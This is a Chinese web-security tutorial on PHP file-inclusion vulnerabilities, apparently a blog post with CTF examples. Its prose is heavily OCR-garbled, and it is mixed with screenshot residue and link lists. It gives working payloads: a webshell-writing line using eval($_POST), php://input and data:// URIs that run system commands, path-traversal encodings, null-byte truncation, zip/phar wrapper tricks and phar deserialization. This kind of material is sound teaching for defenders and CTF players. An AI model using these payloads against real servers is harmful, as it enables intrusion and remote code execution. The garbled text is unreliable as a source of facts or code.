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e require_once()

include5requireZE AR MR, BT R4 T5 H:

e include(), RARES (E_WARNING) , HHBHAS4k4:
e require(), SAERB@HIR (E_COMPILE_ERROR) H{& LA
e include_once()5require_once(), WMRXHEBE, MASEE, Hifettw b

XHEERAK LSS

3,4 Apache H & Xt #

WEBJR 55 &% — &4 P K05 AR RARAFETT W H B . A ATATATCARSE H EieRMAR, HOWEIFER,
EPHPAREHA R H B3, 8 S & R R AT H & - PHPAR .

A %4

o Xt HEXHA
o JiE HECHEREE R

TR

o —EBEMTHEGMEZSWBY, FEZRIURSRAEE UM (httpd.conf,nginx.conf......) 5 & R #& phpinfo()H K15 B R 15 50
o HELFEHMEBATUMIAE, thinidFMENEL, RENEKR

Apacheiz{TJ§ —RERIN S A A~ B E X4, Windos T £access.log (V51d HE) Ferror.log (4 iz H

&), LinuxT&access_logfierror_log, ¥l H&ESCHIET T %5 b 4 0 SRR 5528 W B A R AE B

WR Y ] —ANAEAE R FIRR,  Aihttp:/www.xoox.comV, I 28378 H &, (E RS 1 U7 77 2 4 e
g, AT LA burpsuitseit 4ifis, HERTLAIE 5 Napachef HESCH:, AR5 T LLE B8 H E 308k AT
HARED, (HAETIR 2R iEapache H XM EE, TN T ZAeRN, ZHapachehf REAREFHERIA
Bz,


https://blog.csdn.net/weixin_46236101
https://so.csdn.net/so/search/s.do?q=%25E6%2596%2587%25E4%25BB%25B6%25E5%258C%2585%25E5%2590%25AB&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_46236101/article/details/112303334

SENE: 1.8% HEfHgetshell
2 —BAE&HEXHHCTFE

49,4 SESSIONIC #

A LSRR =B & BISESSIONS A, FEMRIE XM AR FRAZRE, fEiEpayloadili NEIX . &EEE
BpHT.

session® W7 B4 -

Ivar/lib/php/sess_ PHPSESSID

Ivar/lib/php/sess_ PHPSESSID
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¢ /tmp/sessions/sess PHPSESSID
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HTTP PO ST with a file arrives
.+ PHP begins analysis
3 PHP creates temp file
PHP writes data to temp file
PHP closes temp file
script execution begins
[optional] script moves uploaded file
- script execution ends
B PHP removes temp files (if any)
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<?fputs(fopen("shell.php","w"),"<?php eval($_POST[pass");?>")?>

MREVFEURL: http://www.xxxx.com/index.php?page=./upload/201811.pg, BEXKEH,
’I%%Eindex.phpﬁﬁftﬂ"lEi?ﬁiﬁishell .php

HiBE&EH

o GESMTP(HZE)
o f¥xss

SRS IR R A B S
8 5E T g gesd
H i i

fEF ../ SRR Bl E—H 3, #FkAE &S (Path Traversal). %40 ?file=../../phpinfo/phpinfo.php
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<?php error_reporting(0); $file = $_GET["file"]; /4% include "/var/iwww/html/".$file; highlight_file(_ FILE ); ?
>

BUfEfE Ivar/log B 3¢ T8 XX fiflag.txt, WIAIA.../ATLAEAT B @M, HanBATZ=05 14 -

include.php?file=../../log/flag.txt

T R 55 2% s S BB 2 SR B B8 42 Ivariwww/htmil/../. llog/test.ixt, B /var/log/flag.txt, MTGELE BTN
s

JIR 5% 28 U 8 H 2 T — L 38, T DA — e mAD R kAT SR .

A A urlgs 5

* %2e%2e%2f
o _%2f
o %2e%2e/

* %2e%2e%5c
e %5c
o %2e%2e\

IR
. .
o %252e%252%252f

o .\



o %252e%252e%255¢c

AR5 A ) g5 75 3K

o ./
o . %c0%af
e 7¥: Why does Directory traversal attack %C0%AF work?
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Apache Tomcat Directory Traversal
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<?php error_reporting(0); $file = $_GET["file"]; ///54% include $file.".txt"; highlight_file(_ FILE_ ); ?>
F A url

TR HEERE (RFD #, v LLF|Hquerysifragmentsk Geist f5 4% R il o
A sE W E: URI's fragment

sEE Ui R

protocol :// hostnamel[:port] / path / [;parameters][?queryJ#fragment

query(?)

o [(fHZ%] 2file=http://localhost:8081/phpinfo.php?
o [Bf¥J5] 2file=http://localhost:8081/phpinfo.php?.txt

Example: C(&7EMR HF T Aflag2.txt30 4>
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€9 Hackbar v x  flagfthis is flag} <?php
error_reporting (0) ;

Encryption¥ || Encoding ¥ $file = S$_GET["file"]:
@Load | B spiit | » Run | J5 4%

http://localhost: 8081 include $file.”. txt”;
/anheng/FileInclude

/index3. php?file=http: highlight_file(_FILE_):
//localhost:8081 s

/flag2. txt?

Enable Post data

[ Enable Referer

https://blog.csdn.net/qq_42181428/article/details/87090539 Q
L] LU [
( Hackbar x  flagfthis is flag} <?php
error reporting (0) ;
Encryption¥  Encoding ¥ $file = §$ GET [”file”] :
iload | 4 spiit | »/Run | =E
http://localhost: 8081 include §file.”. txt”;
/anheng/FileInclude ) . )
/index3. php?file=http: highlight file( FILE ):
//localhost:8081 ios
/flag2. txt?
Enable Post data
[JEnable Referer
https://blog.csdn.net/qq_42181428/article/details/87090539 Q
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fragment(#)

o [il&%] 2file=http://localhost:8081/phpinfo.php%23
o [Bt¥EJ5] <file=http://localhost:8081/phpinfo.php#.txt

Example: MR HF TAflag2.txt304)

ZEIER7INNG
FMHzp://Mphar//, BTENEHBHERLBRINKTIZSE, KA RAFTEMEMNIKER, FTLEHCHE.
zip:/l
o [fMSH] 2file=2zip://D:\zip.jpg%23phpinfo
o [HH#J5] 2file=zip://D:\zip.jpg#phpinfo.txt
phar://

o [(fHZ%] 2file=phar://zip.zip/phpinfo
o [Pi#EJG] °file=phar://zip.zip/phpinfo.txt
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Bt LAy 7l #4318 payload A :

W& phpinfo.txt, HAHEERE)

?ile=zip://[D\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo
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Encryption¥ | Encoding

‘@l Load I % Split | * Run I

http://localhost:8081

/anheng/FileInclude System Windows NT DESKTOP-BHUACS3 6.2 build 9200 (Windows 7 Home Premium
/index3. php?file=zip: Edition) i586
//D: \PHPWAMP_IN3\wwwroot Build Date Jan 6 2011 17:50:45
\php. zip%23phpinfo Compiler MSVC6 (Visual C++ 6.0)
Enable Post data Architecture x86
Configure cscript /nologo configure js *--enable-snapshot-build" "--disable-isapi” "--enable-
Command debug-pack" "--disable-isapi® "--without-mssql" "--without-pdo-mssql” "--
without-pi3web" "--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk,shared"
"--with-oci8=D:\php-sdk\oracle\instantclient10\sdk,shared" *--with-
oci8-11g=D:\php-sdk\oracle\instantclient11\sdk,shared" "--enable-object-out-
dir=_/obj/" " ble-com-dotnet" "--with-mcrypt=static”
[ nabie Referer Server API Apache 2.0 Handler
Virtual Directory |enabled
Support
Configuration CA\WINDOWS
File (php.ini)
https://blog.csdn.net/qq_42181428/article/details/8709@539 &
4 | LU

?file=phar://../..Iphp.zip/phpinfo
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Encryption® | Encoding ¥

‘@lload | § split I »/Run

http://localhost:8081

/anheng/FileInclude System Windows NT DESKTOP-BHUACS3 6.2 build 9200 (Windows 7 Home Premium
/index3. php?file=phar: Edition) i586
//.. /.. /php. zip/phpinfo Build Date Jan 6 2011 17:50:45
Compiler MSVC6 (Visual C++ 6.0)
Enable Post data i X86
Configure cscript /nologo configure.js *--enable-snapshot-build” "--disable-isapi® "--enable-
Command debug-pack” "--disable-isapi” "--without-mssg|” "--without-pdo-mssql” "--
without-pi3web” "--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk,shared"
“--with-oci8=D:\php-sdk\oracle\instantclient10\sdk,shared" "--with-
oci8-11g=D:\php-sdkioracle\instantclient11\sdk shared" *--enable-object-out-
dir=../obj/" "--enable-com-dotnet” "—-with-mcrypt=static"
[ Enable Referer Server API Apache 2.0 Handler
Virtual Directory |enabled
Support
Configuration CAWINDOWS
https://blog.csdn.net/qq_42181428/article/details/87@90539 @&
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* magic_quotes_gpc = Off
e phphitA < php 5.3.4

ilibip
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?file=shell.php%00
E: BEM %00 BB ELAZ T
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<?php $res = file_get_contents("file://E://wamp//wwwi//test//solution.php"); var_dump($res); ?>

REREERQER, file// XA R "R R L, JAFERANR P AEd] HRE U7 R PAT R
RS, BRATAT BA22 ikt A file:// 2K BIR B A b R 4% ST 1

http://www.wechall.net/challenge/crappyshare/index.php
http://www.wechall.net/challenge/crappyshare/crappyshare.php

EXECTFH, WdHk R sAET: curl_exec($ch)

function upload_please by url($url) { if (1 === preg_match(‘#Ya-z){3,5}://#, $url)) # Is URL? {

$ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch,
CURLOPT_FAILONERROR, true); if (false === ($file_data = curl_exec($ch))) {

htmiDisplayError('cURL failed."); } else { /I Thanks
upload_please_thx($file_data); } } else { htmiDisplayError("Your URL looks

errorneous."); 1}
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RNV B file://ZHBEHE ANcurl hHATRS, [RAKZFEURLY; 6 24 5 € M B AR b, AT 2 #RAL T 5]
SCAFH E B

php:/filter -- X} A Hh R 8 SCHF AT RS

php:/ffilter&—Fh et 3558, it B T "SRR IT FF B B S uE R X T — 4k R (all-in-one) i S 4 & B E
WA, Fplreadfile(). file(). file_get contens(), 7EEHE I N A LI Z 71 BA VL& H H A 2%

<?php @include($_GET]["file"]); ?> url: http://localhost/test/index.php?
file=php://filter/read=convert.base64-encode/resource=index.php result:
PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+ (base64EHE il LB BN E, X BB AHET
base64_encode, Mi#Fincludeit KRR ST, FEEARNRERG)

6 B2 5\ S

<?php [* X 2@ rot13 i 38 35 % 1% FAF "Hello World" RIEBNHETH R T example.txt */
file_put_contents("php://ffilter/write=string.rot13/resource=example.txt","Hello World"); ?> iX /N S$% H — /1 8k
LUEERF | BRI 2 AN I8 28 42 7R

RIGEREIAT
php:// — 15 18] EANE N/ H R (/O streams)

http://cn2.php.net/manual/zh/wrappers.php.php

PHP #4t 7 — s ZeTifa N /fr B (I0), VUi A PHP B NG IR drvEim NG A R AR, W,
T 258 2% #RD i P SCARUAE DA B T DA A HoAth 52 BR BN SO R R K I U 2%

1.1) php://input

php:/finput &N 7] LA 18] 175 =R A0 IR 26 2 1) RS2 XA R 16 2088 15 1 2 POST %8 )

<?php $res = file_get_contents("php://input"); var_dump($res); ?> posti 32 #i##:hello result:
hello


http://cn2.php.net/manual/zh/wrappers.php.php

<« i ~ | localhost/test/wrapper.php

|]NT—V| = & SQL- XS5 Encryption- Encoding- Oth
4 Load URL http://localhost/test/wrapper. php
I split URL
¢ Execute
|#| Enable Post data | | Enable Referrer
Post data hells

*  string  hello' (length=5)
L

https://www.cnblogs.com/littlehann/p/3665863, ht
ml# label2

Pt php:/finput T ZE AR 5528 X, R 2K allow_url_include"# & 4"On"

FI O P SRR X AR BT, FRATT AT BLRKLFIRT 4 A — A code excutel i
http://www.freebuf.com/articles/web/14097.html#comment-16863

<?php @eval(file_get contents('php://input’)) ?> http://localhost/test/index.php post: system("dir"); result:
list directory

RAR EEEXAEE M, RAOME, @RS HincludeiZ it i 2 — M RIEE A", FERZHIHR
TR AR, ERNRKAERE, XWAUR—MRBREELRF, HEATHincludeffE &SR
PEEE B TRAGE, WA LA BA T = codeElincluder

<?php @include($_GET(["file"]); ?> http://localhost/test/index.php?file=php://input post: <?php
system(‘ipconfig');?> result: ip information

(F—REER)

FEF A SO A BEAT ARG ST OB, AT Id file_get contentsIKREX BRI SCAEN A, R —A.phpXt, &
¥ HUEinclude NS E, HBERWRESEBERIT IR, WERMNLEFEIEGHRIG T, EIOXA 1K 7725
R 1% Fbase64 encodeBt 1T 45

php://Pah BAEZE e A HARKR, HERMFERBEHTUEFRAERR, XEWFIHRRE —HEIE
php://output — A R ERIHIER, RFRANILprintflecho— 1 75 XE A B4 H & X
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<?php $data = "hello LittleHann", $res = file_put_contents("php://output"”, $data); ?> result: hello
LittleHann

php://memoryfphp:/ftemp& — AR a2 M EIER, RFRS"IRNSEE". FEHE— X AR

1. php://memory & 2 IR 4 E A 7+
2. php:/ftemp4:7E Py 77 Bk B T se A BR i1 J5 (BRIN R 2M)FE NI B S04

I ik SC AR B itk E Misys_get temp_dir()75 & — % (upload_tmp_dir = "E:/wamp/tmp")

<?php $fp = fopen("php://memory", 'r+'); fputs($fp, "hello LittleHann!!"\n"); rewind($fp);
while(!feof($fp)) { echo fread($fp, 1024); } fclose($fp); ?> result: hello LittleHann!!!

data://th il

http://www.php.net/manual/zh/wrappers.data.php
XR—EIERE 2SS, data:URI schema(URL schema®l BAR/R £ =)

A data://Dy h BGHAT ARBD AT K B B JR B Al php /R KUK, #RAM TPHPH KIS, K IRAKinclude
HISCAFIRE RE R B T F P AT S K A i

data:text/plain,...

<?php @include($_GET]["file"]); ?> url: http://localhost/test/wrapper.php?file=data:text/plain,<?php
system("net user")?> result: user information

data://text/baseb4,...

<?php @include($_GET]["file"]); ?> url: http://localhost/test/wrapper.php?
file=data:text/plain;base64,PD9waHAgc3lzdGVIKCJuZXQgdXNIcilpPz4= result: user information

data://imagel/jpeg;baseb4,...

<?php $jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," .
base64 encode($sql_result_array[imagedatal)); ?> B A AL

H 3% F
glob://ItR Bt
glob:// R ILHC B AR B AR


http://www.php.net/manual/zh/wrappers.data.php

<?php Il &¥F ext/spl/examples/ B3 BFiE *.php 304 11 FEAT BRSO 48 A0 S0 R~ $it = new
Directorylterator("glob://E:\\wamp\\www\\test\*.php"); foreach($it as $f) { printf("%s:
%.1FK\n", $f->getFilename(), $f->getSize()/1024); }?>

FIF G228 (stream wrapper)
zipskphar i A& e
B ¥ B br B A T AR

<?php $file = $_GET[file'; if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){ include($file); } ?> <?php
$file = $ GET[file]; include($file. jpg'); 7>

FHEEABEET AN HEERTIR, HERERIETFEREET AP, REFTEE.

X FOERME, B &phpsett, SLBAKE, LB AR . H2X00H &N 7fEphp>5.3. 45L& T, TH
BEEEBGCPC. MARAHMITTIER? BEREFK.

HRATAT LU I Zip B A phar i SR & S0
zip://
BHABRINFE —NzpXt, BEE4E— 1 phpli4.

File Edit View Help

| Eopen v &8} Extract @ %

@ | Location: [j
Name v Size Type Date Modified
P php.jpg 44 bytes JPEG image 30 May 2015, 16:01

https://waw.cnblogs.com/littlehann/p/3665862.html#_label2 b

http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg
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phpinfo() - Mozilla Firefox
/ phpinfo() x| &

€ | @ 127.0.0.1ffile.php?file=zip://php.zip%23php.jpg v (‘:| |Q Search

S

b

Go back one page
Right-click or pull down to show history

System Linux bldck 2.6.32-504.16.2.el6.x86_64 #1 SMP Wed Apr 22 06:48:29 UTC
2015 x86_64

Build Date May 14 2015 23:37:43

Server APl Apache 2.0 Handler

Virtual Directory |disabled

Support

Configuration Jetc
File (php.ini)
Path

Loaded fetc/php.ini

Configuration
File

Scan this dir for |/etc/php.d
additional .ini

files

Additional .ini fetc/php.dfcurl.ini, fetc/php.d/dem.ini, fetc/php.d/fileinfo.ini, /fetc/php.d

files parsed fgd.ini, jetc/php.d/gmp.ini. fetc/php.d/jsen.ini, fetc/php.d/ldap.ini. fetc/php.d
fmbstring.ini, /etc/php.dfmysql.ini, fetc/php.dfmysqli.ini, fetc/php.d/pdo.ini,
fetc/php.dfpdo_mysqgl.ini, fetc/php.d/pde_sglite.ini, fetc/php.d/phar.ini,
fetc/php.d/sglite3.ini, jetc/php.d/wddx.ini, fetc/php.dfxmlireader.ini,
Jetc/php.dfxmlirpc.ini, jetc/php.djxmlwriter.ini, fetc/php.d/xslini, fetc/php.d

https://www.cnblogs.com/littlehann/p/3665862.html#_label2 h
4| 1 | »

phar://
H S RAVE A phark 3T —/ phartr &

<?php $p = new PharData(dirname(__FILE_)."/phartest2.zip', 0,'phartest2',Phar::ZIP) ;
$x=file_get contents('./php.php'); $p->addFromString(‘a.jpg’, $x); ?>

SHER— AR RS . RIERNTIE
http://127.0.0.1/file.php?file=phar://phartest2.zip/a.jpg
WA LA EH #shell

X Fh B 5 2kt webshel 1 >k 1 & — AN+ 4 R e 18] &, H AR 5 7E T 52 Frwebshell i il B % 2 flwebshel 32 4«
2, FE N1 HZESXEA.

BRI UL, X T A R SO R S AR

<?php $file = $_GET[file']; include($file.".jpg'); ?>

R\EEEASHOANR (ETFXHARD , ATUA N MARKARES, Xt 8055 B To %0 B = fe
BAR AT
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Relevant Link: https://bl4ck.in/tricks/2015/06/10/zipkphar i3 8 & 344 .html
phartihis{ s RiEN

Phar (PHP Archive) 4T LAV R A R T EHE, XALH] 2 A FRATT A 8 — L 1] iR £ 7E Phar class
W, A SCHRIR R ER, Sl — DB .

EBATEE —MPharscf, FERIN— M E —SHHEE AT HERE I R -

<?php // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar-
>addFromString('test.txt', 'text'); $phar->setStub("); // add object of any class as meta data class AnyClass {}
$object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering(); ?>

BAFEKtest. pharsU A LT HA . BATH UUE 2% RPN — N F I F R 5 .

goooeoee 3F 70 68 70 20 5F 5F 48 41 4C 54 5F 432 4F 4D ?php.__HALT_C{}I"'I
00000010 50 49 4C 45 52 28 29 3B 20 3F 3E 6D OA 5F @0 00 PILER();.?>.._.

000EBE20 00 01 G0 00 00 11 60 00 60 01 00 00 08 B0 @B 29 ... ..iiiiieiaan )
000ERE30 00 00 00 4F 3A 38 3A 22 41 6E 79 43 6C 61 73 73 ...0:8:"AnyClass
0000e0E40 22 3A 31 3A 7B 73 3A 34 3A 22 64 61 T4 61 22 3B ":1:{s:4:"data";
0000e0E50 T3 3A 34 3A 22 72 69 7O 73 22 3B 7D 08 00 @0 00 s:4:"rips";}....
oooeeeed T4 65 73 74 2E 74 78 74 04 00 00 00 5D C5 6E 5B test.txt....]-l—n[
oppeeeTE 04 00 80 00 C7 AT 8B 3B B6 091 00 00 00 GO0 GO B0 ....I—“"l';-l .......
0PEEAE8e T4 65 78 74 E9 E9 GA TA 90 17 91 F2 232 E5 FB 8D texteejzE.z=#o\d
00EEAE90 DC DE 2A 60 D4 BF TF 88 02 00 0@ 00 47 42 4D 42 g’ LAné....GBMB

https://www.cnblogs.com/littlehann/p/3665862.html# _label2 b

W RO S phar: /3 BATIA BIPharSCH AT TR RAE, W75 ek g R 54t . IXEWRAE BAIE
TOHHRE PP BT RN R B N AR PP B TE B

SR e B AR R B A B & AnyClass2K 3 H B A BEAR J7 ¥ destruct()Siwakeup()€ X, W< B 3h [ X &7
o IXERE RATAT LAZEAREE B H fid AT AR AT 1 bR B B wakeup 77 V2

class AnyClass { function __destruct() { echo $this->data; } } // output: rips include('phar://test.phar');

ERERERRE, PMUR Finclude, R30I api#l T Bl & pharthil, #lanfopen(). unlink(). stat().
fstat(). fseek(). rename(). opendir(). rmdir(). mkdir(). file_get contents, #l4n:

<?php file_exists($_GET][file"]); md5_file($_GET[ile); filemtime($_GET([ile]); filesize($_GET[file");
glob('phar://some.phar/*'); new Directorylterator('glob://phar://some.phar/*'); 7>

XA IR Y, HETRASP, FOAREEERLRARTHBERE, FEHERERAST2EKR.

Relevant Link:

1. https://www.php.net/manual/zh/phar.using.stream.php


https://bl4ck.in/tricks/2015/06/10/zip%25E6%2588%2596phar%25E5%258D%258F%25E8%25AE%25AE%25E5%258C%2585%25E5%2590%25AB%25E6%2596%2587%25E4%25BB%25B6.html
https://i.loli.net/2020/10/05/japq6rI8DzHiLVM.png
https://www.php.net/manual/zh/phar.using.stream.php

2. https:/lwww.freebuf.com/articles/web/182231.html

A I ¥R B A
o allow_url_includefilallow_url_fopeni /> LR 4t
¢ % E open_basedir (open_basedir ¥t phppr & 3T 7 B SC 4 BR #7258 2 9 B R )

o HABRMBIBE M, HREM™HTIE ./
o REAEMAMSHE, TUAREGINWRHEEEEH, W: include(head.php’).

2%

¢ https://www.cnblogs.com/littlehann/p/3665062.html
¢ https://blog.csdn.net/qq_42181428/article/details/87090539
¢ https://www.jianshu.com/p/3514f0fd79f7


https://www.freebuf.com/articles/web/182231.html
https://www.cnblogs.com/littlehann/p/3665062.html
https://blog.csdn.net/qq_42181428/article/details/87090539
https://www.jianshu.com/p/3514f0fd79f7
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